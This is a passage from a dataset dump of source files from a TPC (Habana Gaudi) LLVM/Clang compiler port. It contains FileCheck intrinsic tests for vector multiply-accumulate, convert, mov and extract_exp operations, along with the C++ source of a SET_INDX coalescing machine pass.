%V{{[0-9]+}}, %SP{{[0-9]+}}\n\n res = v_bf16_mac_b(x0, x1, res, 0, pred, 1);\n *dptr++ = res;\n // CHECK: mac.bf16 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, !%SP{{[0-9]+}}\n\n res = v_bf16_mac_vb(x0, x1, res, 0, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n\n res = v_bf16_mac_vb(x0, x1, res, SW_NEG, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 neg %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n\n res = v_bf16_mac_vb(x0, x1, res, 0, vpred, 1);\n *dptr++ = res;\n // CHECK: mac.bf16 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, !%VP{{[0-9]+}}\n\n\n // Vector + Scalar\n\n res = v_bf16_mac_b(x0, xs, res, 0, 1, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 %V{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP0\n\n res = v_bf16_mac_b(x0, xs, res, SW_NEG, 1, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 neg %V{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP0\n\n res = v_bf16_mac_b(x0, xs, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 %V{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP{{[0-9]+}}\n\n res = v_bf16_mac_b(x0, xs, res, 0, pred, 1);\n *dptr++ = res;\n // CHECK: mac.bf16 %V{{[0-9]+}}, %V{{[0-9]+}}, %S2, !%SP{{[0-9]+}}\n\n res = v_bf16_mac_vb(x0, xs, res, 0, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 %V{{[0-9]+}}, %V{{[0-9]+}}, %S2, %VP{{[0-9]+}}\n\n res = v_bf16_mac_vb(x0, xs, res, SW_NEG, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 neg %V{{[0-9]+}}, %V{{[0-9]+}}, %S2, %VP{{[0-9]+}}\n\n res = v_bf16_mac_vb(x0, xs, res, 0, vpred, 1);\n *dptr++ = res;\n // CHECK: mac.bf16 %V{{[0-9]+}}, %V{{[0-9]+}}, %S2, !%VP{{[0-9]+}}\n\n\n // Vector + Immediate\n\n res = v_bf16_mac_b(x0, 1.5, res, 0, 1, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 %V{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc0, %SP0\n\n res = v_bf16_mac_b(x0, 1.5, res, SW_NEG, 1, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 neg %V{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc0, %SP0\n\n res = v_bf16_mac_b(x0, 1.5, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 %V{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc0, %SP{{[0-9]+}}\n\n res = v_bf16_mac_b(x0, 1.5, res, 0, pred, 1);\n *dptr++ = res;\n // CHECK: mac.bf16 %V{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc0, !%SP{{[0-9]+}}\n\n res = v_bf16_mac_vb(x0, 1.5, res, 0, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 %V{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc0, %VP{{[0-9]+}}\n\n res = v_bf16_mac_vb(x0, 1.5, res, SW_NEG, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 neg %V{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc0, %VP{{[0-9]+}}\n\n res = v_bf16_mac_vb(x0, 1.5, res, 0, vpred, 1);\n *dptr++ = res;\n // CHECK: mac.bf16 %V{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc0, !%VP{{[0-9]+}}\n\n\n // Compatibility functions\n bool256 vpred_c = from_bool128(vpred);\n\n // Vector + Vector\n\n res = v_bf16_mac_v_v(x0, x1, res, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n\n res = v_bf16_mac_v_v(x0, x1, res, 1);\n *dptr++ = res;\n // CHECK: mac.bf16 neg %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n\n res = v_bf16_mac_v_v_b(x0, x1, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n\n res = v_bf16_mac_v_v_b(x0, x1, res, 1, pred, 1);\n *dptr++ = res;\n // CHECK: mac.bf16 neg %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, !%SP{{[0-9]+}}\n\n res = v_bf16_mac_v_v_vb(x0, x1, res, 0, vpred_c, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n\n res = v_bf16_mac_v_v_vb(x0, x1, res, 1, vpred_c, 1);\n *dptr++ = res;\n // CHECK: mac.bf16 neg %V{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, !%VP{{[0-9]+}}\n\n // Vector + Scalar\n\n res = v_bf16_mac_v_s(x0, xs, res, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 %V{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP0\n\n res = v_bf16_mac_v_s(x0, xs, res, 1);\n *dptr++ = res;\n // CHECK: mac.bf16 neg %V{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP0\n\n res = v_bf16_mac_v_s_b(x0, xs, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 %V{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP{{[0-9]+}}\n\n res = v_bf16_mac_v_s_b(x0, xs, res, 1, pred, 1);\n *dptr++ = res;\n // CHECK: mac.bf16 neg %V{{[0-9]+}}, %V{{[0-9]+}}, %S2, !%SP{{[0-9]+}}\n\n res = v_bf16_mac_v_s_vb(x0, xs, res, 0, vpred_c, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 %V{{[0-9]+}}, %V{{[0-9]+}}, %S2, %VP{{[0-9]+}}\n\n res = v_bf16_mac_v_s_vb(x0, xs, res, 1, vpred_c, 1);\n *dptr++ = res;\n // CHECK: mac.bf16 neg %V{{[0-9]+}}, %V{{[0-9]+}}, %S2, !%VP{{[0-9]+}}\n\n // Vector + Immediate\n\n res = v_bf16_mac_v_s(x0, 1.5, res, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 %V{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc0, %SP0\n\n res = v_bf16_mac_v_s(x0, 1.5, res, 1);\n *dptr++ = res;\n // CHECK: mac.bf16 neg %V{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc0, %SP0\n\n res = v_bf16_mac_v_s_b(x0, 1.5, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 %V{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc0, %SP{{[0-9]+}}\n\n res = v_bf16_mac_v_s_b(x0, 1.5, res, 1, pred, 1);\n *dptr++ = res;\n // CHECK: mac.bf16 neg %V{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc0, !%SP{{[0-9]+}}\n\n res = v_bf16_mac_v_s_vb(x0, 1.5, res, 0, vpred_c, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 %V{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc0, %VP{{[0-9]+}}\n\n res = v_bf16_mac_v_s_vb(x0, 1.5, res, 1, vpred_c, 1);\n *dptr++ = res;\n // CHECK: mac.bf16 neg %V{{[0-9]+}}, %V{{[0-9]+}}, 0x3fc0, !%VP{{[0-9]+}}\n}\n" }, { "alpha_fraction": 0.5147826075553894, "alphanum_fraction": 0.643478274345398, "avg_line_length": 46.91666793823242, "blob_id": "7176603ee393ce3c8ec7c41565aec7e0e6de53ba", "content_id": "177520f73adc6e258f49a04186d96985b2ae43c8", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 575, "license_type": "permissive", "max_line_length": 146, "num_lines": 12, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_int128_to_float128.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\nvoid main(int src, int dest) {\n int128 *sptr = (int128 *)src;\n float128 *dptr = (float128 *)dest;\n int128 src_val = *sptr;\n *dptr++ = convert_int128_to_float128(src_val, 0);\n *dptr = convert_int128_to_float128(src_val, SW_RD);\n}\n\n// CHECK-IR: sitofp <128 x i32> {{.*}} to <128 x float>\n// CHECK-IR: call <128 x float> @llvm.tpc.convert.v128f32.v128i32.i1(<128 x i32> {{.*}}, i8 2, i32 196608, <128 x float> undef, i1 true, i1 false)\n" }, { "alpha_fraction": 0.4256526529788971, "alphanum_fraction": 0.5130533576011658, "avg_line_length": 28.366666793823242, "blob_id": "f02b40d91c4bdf99051652753d759220ebca583f", "content_id": "452bbd4f8554abf6a06643e7cd2af4f04d54cb79", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 881, "license_type": "permissive", "max_line_length": 96, "num_lines": 30, "path": "/clang/test/RC99/Intrinsics/i_i32_mov.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck %s\n\n\nvoid main(int dest, int mask, int x, _Bool pred) {\n volatile int5 __local *dest_ptr = (int5 __local *)dest;\n int5 src = *dest_ptr++;\n \n// CHECK-DAG: mov{{.*}}\t[[PRED:%SP[0-9]+]], %S3\n\n // i_i32_mov\n {\n int5 res;\n \n res = *dest_ptr++;\n res = i_i32_mov(src, 0b00001, 0, res, pred, 0);\n *dest_ptr++ = res[0];\n// CHECK: mov b00001 %I{{[0-9+]+}}, %I{{[0-9]+}}, [[PRED]]\n \n res = *dest_ptr++;\n res = i_i32_mov(x, 0b00010, 0, res, pred, 0);\n *dest_ptr++ = res[0];\n// CHECK: mov b00010 %I{{[0-9+]+}}, %S2, [[PRED]]\n \n res = *dest_ptr++;\n res = i_i32_mov(123, 0b11111, 0, res, pred, 1);\n *dest_ptr++ = res[0];\n// CHECK: mov b11111 %I{{[0-9+]+}}, 0x7b, ![[PRED]]\n }\n}\n" }, { "alpha_fraction": 0.6607893705368042, "alphanum_fraction": 0.6661274433135986, "avg_line_length": 32.05882263183594, "blob_id": "12ab4449a77e61afc25a275cdb8f6c52f1d597ef", "content_id": "7c5034c143c15900507e12dfe8819cebc4c32719", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 12364, "license_type": "permissive", "max_line_length": 89, "num_lines": 374, "path": "/llvm/lib/Target/TPC/TPCSetIndxCoalescer.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===---- TPCSetIndxCoalescer.cpp ------ Optimizes SET_INDX ---------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n\n#include \"TPCInstrInfo.h\"\n#include \"TPCSubtarget.h\"\n#include \"llvm/ADT/SmallSet.h\"\n#include \"llvm/CodeGen/MachineRegisterInfo.h\"\n#include \"llvm/CodeGen/MachineInstrBuilder.h\"\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"MCTargetDesc/TPCMCInstrInfo.h\"\nusing namespace llvm;\n\nnamespace llvm {\nFunctionPass *createTPCSetIndxCoalescer();\nvoid initializeTPCSetIndxCoalescerPass(PassRegistry&);\n}\n\nstatic const char PassDescription[] = \"TPC SET_INDX Coalescer\";\nstatic const char PassName[] = \"tpc-int5\";\n\nconst unsigned NMovType = 2; // OpType of MOVsip\nconst unsigned NMovPredicate = 5; // Predicate of MOVsip\nconst unsigned NMovPolarity = 6; // Polarity of MOVsip\nconst unsigned NInt5 = 1;\nconst unsigned NElement = 2;\nconst unsigned NMask = 3;\n\n// Flag to disable SET_INDX coalescing.\nstatic cl::opt<bool>\nEnableSetIndxCoalescer(\"set_indx-coalescer\",\n cl::desc(\"Coalesce SET_INDX instructions (default=true)\"),\n cl::init(true), cl::Hidden);\n\n\nnamespace {\nclass TPCSetIndxCoalescer : public MachineFunctionPass {\n MachineFunction *MF = nullptr;\n MachineRegisterInfo *MRI = nullptr;\n const TargetInstrInfo *TII = nullptr;\n unsigned NumReplaced = 0;\n SmallSet<MachineInstr *, 32> RemovedInstrs;\n SmallSet<MachineInstr *, 32> AddedInstrs;\n\npublic:\n static char ID;\n\n StringRef getPassName() const override { return PassDescription; }\n\n TPCSetIndxCoalescer() : MachineFunctionPass(ID) {\n initializeTPCSetIndxCoalescerPass(*PassRegistry::getPassRegistry());\n }\n\n bool runOnMachineFunction(MachineFunction &MF) override;\n bool processSetIndx(MachineInstr *Instr);\n MachineInstr *skipRegisterLoad(MachineInstr *I);\n MachineInstr *skipUndefinedOperand(MachineInstr *I);\n void replaceRegister(unsigned FromReg, unsigned ToReg);\n};\n}\n\nchar TPCSetIndxCoalescer::ID = 0;\n\nINITIALIZE_PASS(TPCSetIndxCoalescer, PassName, PassDescription, false, false)\n\n\nFunctionPass *llvm::createTPCSetIndxCoalescer() {\n return new TPCSetIndxCoalescer();\n}\n\n\n// Checks if the given register is used only in SET_INDX instructions.\n//\n// Returns number of uses if the register is used only in SET_INDX instructions\n// or 0 if some uses are not SET_INDX.\n//\nstatic unsigned isRegUsedOnlyInSetIndx(MachineRegisterInfo *MRI, unsigned RegNo) {\n unsigned NumUses = 0;\n for (MachineInstr &U : MRI->use_nodbg_instructions(RegNo)) {\n if (U.definesRegister(RegNo))\n continue;\n if (!isSET_INDX(U.getOpcode()))\n return 0;\n ++NumUses;\n }\n return NumUses;\n}\n\n\nstatic bool isUnpredicatedMOV(const MachineInstr *MI) {\n if (MI->getOpcode() != TPC::MOVsip)\n return false;\n if (MI->getOperand(NMovType).getImm() != TPCII::OpType::INT32)\n return false;\n if (MI->getOperand(NMovPredicate).getReg() != TPC::SP0)\n return false;\n if (MI->getOperand(NMovPolarity).getImm() != 0)\n return false;\n return true;\n}\n\nvoid TPCSetIndxCoalescer::replaceRegister(unsigned FromReg, unsigned ToReg) {\n assert(FromReg != ToReg && \"Cannot replace a reg with itself\");\n\n for (auto I = MRI->use_begin(FromReg), E = MRI->use_end(); I != E; ) {\n MachineOperand &O = *I;\n ++I;\n if (RemovedInstrs.count(O.getParent()))\n continue;\n assert(O.isReg());\n assert(O.getReg() == FromReg);\n assert(!O.isDef());\n O.setReg(ToReg);\n }\n}\n\n\n/// Returns true if the specified instruction sets element to value, which is\n/// implicitly defined.\nMachineInstr *TPCSetIndxCoalescer::skipUndefinedOperand(MachineInstr *I) {\n if (!isSET_INDX(I->getOpcode()))\n return nullptr;\n\n MachineOperand &ElementOp = I->getOperand(NElement);\n if (!ElementOp.isReg())\n return nullptr;\n unsigned ElementRegNo = ElementOp.getReg();\n MachineInstr *ElementDef = MRI->getVRegDef(ElementRegNo);\n assert(ElementDef);\n if (ElementDef->getOpcode() != TPC::IMPLICIT_DEF)\n return nullptr;\n\n RemovedInstrs.insert(I);\n\n // All users of the current instruction must use register defined by\n // its income argument.\n unsigned ReplacedReg = I->getOperand(0).getReg();\n unsigned ReplacingReg = I->getOperand(1).getReg();\n replaceRegister(ReplacedReg, ReplacingReg);\n\n return MRI->getVRegDef(ReplacingReg);\n}\n\n\nMachineInstr *TPCSetIndxCoalescer::skipRegisterLoad(MachineInstr *I) {\n assert(isSET_INDX(I->getOpcode()));\n\n switch (I->getOpcode()) {\n case TPC::SET_INDX_ld_ip:\n case TPC::SET_INDX_spu_ip:\n case TPC::SET_INDX_st_ip:\n // The instruction already uses immediate.\n return nullptr;\n default:\n break;\n }\n\n // If the element is not defined by an instruction \"move immediate to register\",\n // we cannot optimize it.\n MachineOperand &ElementOp = I->getOperand(NElement);\n unsigned ElementRegNo = ElementOp.getReg();\n MachineInstr *ElementDef = MRI->getVRegDef(ElementRegNo);\n assert(ElementDef);\n if (!isUnpredicatedMOV(ElementDef))\n return nullptr;\n\n // Do not replace register use with immediate operand if we cannot remove\n // MOV instruction.\n unsigned NumUses = isRegUsedOnlyInSetIndx(MRI, ElementRegNo);\n if (!NumUses)\n return nullptr;\n\n MachineOperand &Int5Op = I->getOperand(NInt5);\n int64_t OpVal = ElementDef->getOperand(1).getImm();\n\n // Create new SET_INDX instruction, which uses immediate instead of register.\n unsigned NewOpCode;\n switch (I->getOpcode()) {\n case TPC::SET_INDX_ld_rp:\n NewOpCode = TPC::SET_INDX_ld_ip;\n break;\n case TPC::SET_INDX_spu_rp:\n NewOpCode = TPC::SET_INDX_spu_ip;\n break;\n case TPC::SET_INDX_st_rp:\n NewOpCode = TPC::SET_INDX_st_ip;\n break;\n default:\n llvm_unreachable(\"Unexpected code\");\n }\n unsigned NewValueReg = MRI->createVirtualRegister(&TPC::IRFRegClass);\n MachineInstr *NewSetIndx = BuildMI(*I->getParent(), I, I->getDebugLoc(),\n TII->get(NewOpCode), NewValueReg)\n .addReg(Int5Op.getReg(), getRegState(Int5Op))\n .addImm(OpVal)\n .addImm(I->getOperand(NMask).getImm())\n .addImm(0)\n .addReg(TPC::SP0)\n .addImm(0);\n \n assert(NewSetIndx->getNumOperands() == I->getNumOperands());\n\n // Replace all users of original SET_INDX with just created SET_INDX instruction.\n unsigned OldResult = I->getOperand(0).getReg();\n SmallVector<MachineOperand *, 8> OperandToUpdate;\n for (MachineOperand &Use : MRI->use_operands(OldResult)) {\n assert(Use.isReg());\n assert(Use.getReg() == OldResult);\n assert(!Use.isDef());\n OperandToUpdate.push_back(&Use);\n }\n for (MachineOperand *Op : OperandToUpdate)\n Op->setReg(NewValueReg);\n\n // Insert instruction into proper sets. Note, we put MOVi32si into the set of\n // removed instructions although it still may be used. We know however that\n // this instruction is used only in SET_INDX and all of them must be processed.\n RemovedInstrs.insert(I);\n RemovedInstrs.insert(ElementDef);\n AddedInstrs.insert(NewSetIndx);\n\n return NewSetIndx;\n}\n\n\nbool TPCSetIndxCoalescer::processSetIndx(MachineInstr *Instr) {\n // If this instruction sets undefined value to a dimension, skip it.\n if (skipUndefinedOperand(Instr))\n return false;\n\n // Keep initial instruction. If it will be replaced by the variant with\n // immediate, we still need original instruction for checks if the\n // written value is the same.\n MachineInstr *OldInstr = Instr;\n MachineOperand &OldElement = OldInstr->getOperand(NElement);\n if (MachineInstr * R = skipRegisterLoad(Instr))\n Instr = R;\n\n MachineOperand &Element = Instr->getOperand(NElement);\n MachineOperand &Predicate = Instr->getOperand(NMovPredicate);\n MachineOperand &Polarity = Instr->getOperand(NMovPolarity);\n MachineInstr *MI = Instr;\n MachineInstr *CoalescedDef = MI;\n MachineInstr *ResultInstr = MI;\n unsigned NumCoalesced = 0;\n unsigned Mask = Instr->getOperand(NMask).getImm();\n\n // Iterate the chain of SET_INDX.\n while(true) {\n // Get register defined by the current instruction.\n assert(MI->getDesc().getNumDefs() == 1);\n MachineOperand &DefOperand = MI->getOperand(0);\n assert(DefOperand.isReg());\n assert(DefOperand.isDef());\n int DefReg = DefOperand.getReg();\n\n // Find the next instruction to coalesce. If the next suitable instruction\n // has more than one use, we must finish coalescing.\n MachineInstr *Next = nullptr;\n for (MachineInstr &User : MRI->use_instructions(DefReg))\n if (&User != MI) {\n if (RemovedInstrs.count(&User))\n continue;\n if (Next) {\n Next = nullptr;\n break;\n }\n Next = &User;\n }\n\n if (!Next)\n break;\n\n if (MachineInstr *N = skipUndefinedOperand(Next)) {\n MI = N;\n continue;\n }\n\n if (!isSET_INDX(Next->getOpcode()))\n break;\n\n // If this instruction has different element, it cannot be coalesced with\n // the previous instructions.\n bool ElementIsSame = false;\n if (MachineInstr *R = skipRegisterLoad(Next))\n Next = R;\n MachineOperand &CurrElement = Next->getOperand(NElement);\n if (CurrElement.isImm() && Element.isImm())\n ElementIsSame = (CurrElement.getImm() == Element.getImm());\n else if (CurrElement.isReg() && Element.isReg())\n ElementIsSame = (CurrElement.getReg() == Element.getReg());\n else if (CurrElement.isReg() && OldElement.isReg())\n ElementIsSame = (CurrElement.getReg() == OldElement.getReg());\n MachineOperand &CurrPredicate = Next->getOperand(NMovPredicate);\n MachineOperand &CurrPolarity = Next->getOperand(NMovPolarity);\n assert(Predicate.isReg() && CurrPredicate.isReg());\n bool predicate_same = Predicate.getReg() == CurrPredicate.getReg();\n assert(Polarity.isImm() && CurrPolarity.isImm());\n bool polarity_same = Polarity.getImm() == CurrPolarity.getImm();\n if (ElementIsSame && predicate_same && polarity_same) {\n // The current instruction may be coalesced with 'CoalescedDef'.\n Mask |= Next->getOperand(NMask).getImm();\n CoalescedDef->getOperand(NMask).setImm(Mask);\n RemovedInstrs.insert(Next);\n ++NumCoalesced;\n } else {\n // Even if the current instruction cannot be coalesced with 'CoalescedDef',\n // maybe next instruction(s) can:\n //\n // SET_INDX %I2, %S1, 0x3\n // SET_INDX %I2, %S0, 0x4 <- Argument is different from the previous\n // SET_INDX %I2, %S1, 0x8 <- Can be coalesced with the first insn\n // SET_INDX %I2, %S0, 0x10 <- Can be coalesced with the second insn\n //\n // So continue looking forward if there is instruction to coalesce. If\n // such is found, coalesce it with 'CoalescedDef' and properly fix affected\n // users.\n MI = Next;\n ResultInstr = Next;\n continue;\n }\n\n // All users of the next instruction must use register defined by\n // 'ResultInstr'.\n unsigned ReplacedReg = Next->getOperand(0).getReg();\n unsigned ReplacingReg = ResultInstr->getOperand(0).getReg();\n replaceRegister(ReplacedReg, ReplacingReg);\n\n MI = ResultInstr;\n }\n\n NumReplaced += NumCoalesced;\n return NumCoalesced != 0;\n}\n\n\nbool TPCSetIndxCoalescer::runOnMachineFunction(MachineFunction &Func) {\n if (skipFunction(Func.getFunction()))\n return false;\n\n if (!EnableSetIndxCoalescer)\n return false;\n\n MF = &Func;\n MRI = &MF->getRegInfo();\n TII = MF->getSubtarget().getInstrInfo();\n NumReplaced = 0;\n RemovedInstrs.clear();\n AddedInstrs.clear();\n bool Changed = false;\n\n for (auto &BB : Func) {\n for (auto &I : BB) {\n if (RemovedInstrs.count(&I) == 0)\n if (isSET_INDX(I.getOpcode())) {\n // If single user of the result is also SET_INDX with the same second argument,\n // we may coalesce these instructions.\n if (processSetIndx(&I))\n Changed = true;\n }\n }\n }\n\n for (MachineInstr *MI : RemovedInstrs)\n MI->eraseFromParent();\n\n return Changed;\n}\n" }, { "alpha_fraction": 0.5198618173599243, "alphanum_fraction": 0.6476684212684631, "avg_line_length": 47.33333206176758, "blob_id": "80e119973f4d5914edf8f42de661e4844b489295", "content_id": "647ec896596b76b76c2eff47b94344008a30ac0f", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 579, "license_type": "permissive", "max_line_length": 146, "num_lines": 12, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_uint128_to_float128.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\nvoid main(int src, int dest) {\n uint128 *sptr = (uint128 *)src;\n float128 *dptr = (float128 *)dest;\n uint128 src_val = *sptr;\n *dptr++ = convert_uint128_to_float128(src_val, 0);\n *dptr = convert_uint128_to_float128(src_val, SW_RD);\n}\n\n// CHECK-IR: uitofp <128 x i32> {{.*}} to <128 x float>\n// CHECK-IR: call <128 x float> @llvm.tpc.convert.v128f32.v128i32.i1(<128 x i32> {{.*}}, i8 3, i32 196608, <128 x float> undef, i1 true, i1 false)" }, { "alpha_fraction": 0.42617717385292053, "alphanum_fraction": 0.5123702883720398, "avg_line_length": 42.2068977355957, "blob_id": "d6fd2b530361bd6d25ef52cc93665fb8ead2eab6", "content_id": "141be8c9c848c49c3a5b0f57e39744281e12c192", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1253, "license_type": "permissive", "max_line_length": 133, "num_lines": 29, "path": "/clang/test/RC99/IntrinsicsM/extract_exp-s-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -bfloat16 -target-cpu gaudi %s -o - | FileCheck --check-prefix=CHECK-GAUDI %s\n\n\nvoid main(float x0, int dest, _Bool pred) {\n int __local *res_ptr = (int __local *)dest;\n\n *res_ptr++ = s_f32_extract_exp_s(x0, 1);\n // CHECK: extract_exp.f32 subtract_bias %S{{[0-9]+}}, %S{{[0-9]+}}, %SP0\n // CHECK-GAUDI: extract_exp.f32 biased %S{{[0-9]+}}, %S{{[0-9]+}}, %SP0\n x0 = s_f32_ld_l_s(4, 0);\n\n *res_ptr++ = s_f32_extract_exp_s(x0, 0);\n // CHECK: extract_exp.f32 %S{{[0-9]+}}, %S{{[0-9]+}}, %SP0\n // CHECK-GAUDI: extract_exp.f32 %S{{[0-9]+}}, %S{{[0-9]+}}, %SP0\n x0 = s_f32_ld_l_s(4, 0);\n\n int res = 0;\n\n *res_ptr++ = s_f32_extract_exp_s_b(x0, res, 1, pred, 0);\n // CHECK: extract_exp.f32 subtract_bias %S{{[0-9]+}}, %S{{[0-9]+}}, %SP{{[0-9]+}}\n // CHECK-GAUDI: extract_exp.f32 biased %S{{[0-9]+}}, %S{{[0-9]+}}, %SP{{[0-9]+}}\n x0 = s_f32_ld_l_s(4, 0);\n\n *res_ptr++ = s_f32_extract_exp_s_b(x0, res, 0, pred, 0);\n // CHECK: extract_exp.f32 %S{{[0-9]+}}, %S{{[0-9]+}}, %SP{{[0-9]+}}\n // CHECK-GAUDI: extract_exp.f32 %S{{[0-9]+}}, %S{{[0-9]+}}, %SP{{[0-9]+}}\n x0 = s_f32_ld_l_s(4, 0);\n}\n" }, { "alpha_fraction": 0.34066668152809143, "alphanum_fraction": 0.4480000138282776, "avg_line_length": 32.33333206176758, "blob_id": "14969106225a20c75365bba6a25d6674aaefa6fa", "content_id": "5705e32acc0e2bd2c964329ed23af51cc81f9fca", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1500, "license_type": "permissive", "max_line_length": 78, "num_lines": 45, "path": "/clang/test/RC99/IntrinsicsM/mul/v_u8_mul_b.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n\n\nvoid main(unsigned char a, unsigned char b, int dest, int src, _Bool pred) {\n uint256 __local *dptr = (uint256 __local *)dest;\n uchar256 x0 = *(uchar256 __local *)(src + 0 * 256);\n uchar256 x1 = *(uchar256 __local *)(src + 1 * 256);\n uint256 res = { 0 };\n\n res = v_u8_mul_b(x0, x1, 0, res, pred, 0);\n *dptr++ = res;\n // CHECK: mul.u8 %A{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n\n res = v_u8_mul_b(x0, x1, 0, res, pred, 1);\n *dptr++ = res;\n // CHECK: mul.u8 %A{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, !%SP{{[0-9]+}}\n\n res = v_u8_mul_b(x0, x1, 0, res, 1, 0);\n *dptr++ = res;\n // CHECK: mul.u8 %A{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n\n res = v_u8_mul_b(x0, a, 0, res, pred, 0);\n *dptr++ = res;\n // CHECK: mul.u8 %A{{[0-9]+}}, %V{{[0-9]+}}, %S0, %SP{{[0-9]+}}\n\n res = v_u8_mul_b(x0, a, 0, res, pred, 1);\n *dptr++ = res;\n // CHECK: mul.u8 %A{{[0-9]+}}, %V{{[0-9]+}}, %S0, !%SP{{[0-9]+}}\n\n res = v_u8_mul_b(x0, a, 0, res, 1, 0);\n *dptr++ = res;\n // CHECK: mul.u8 %A{{[0-9]+}}, %V{{[0-9]+}}, %S0, %SP0\n\n res = v_u8_mul_b(x0, 123, 0, res, pred, 0);\n *dptr++ = res;\n // CHECK: mul.u8 %A{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %SP{{[0-9]+}}\n\n res = v_u8_mul_b(x0, 123, 0, res, pred, 1);\n *dptr++ = res;\n // CHECK: mul.u8 %A{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, !%SP{{[0-9]+}}\n\n res = v_u8_mul_b(x0, 123, 0, res, 1, 0);\n *dptr++ = res;\n // CHECK: mul.u8 %A{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %SP0\n}\n" }, { "alpha_fraction": 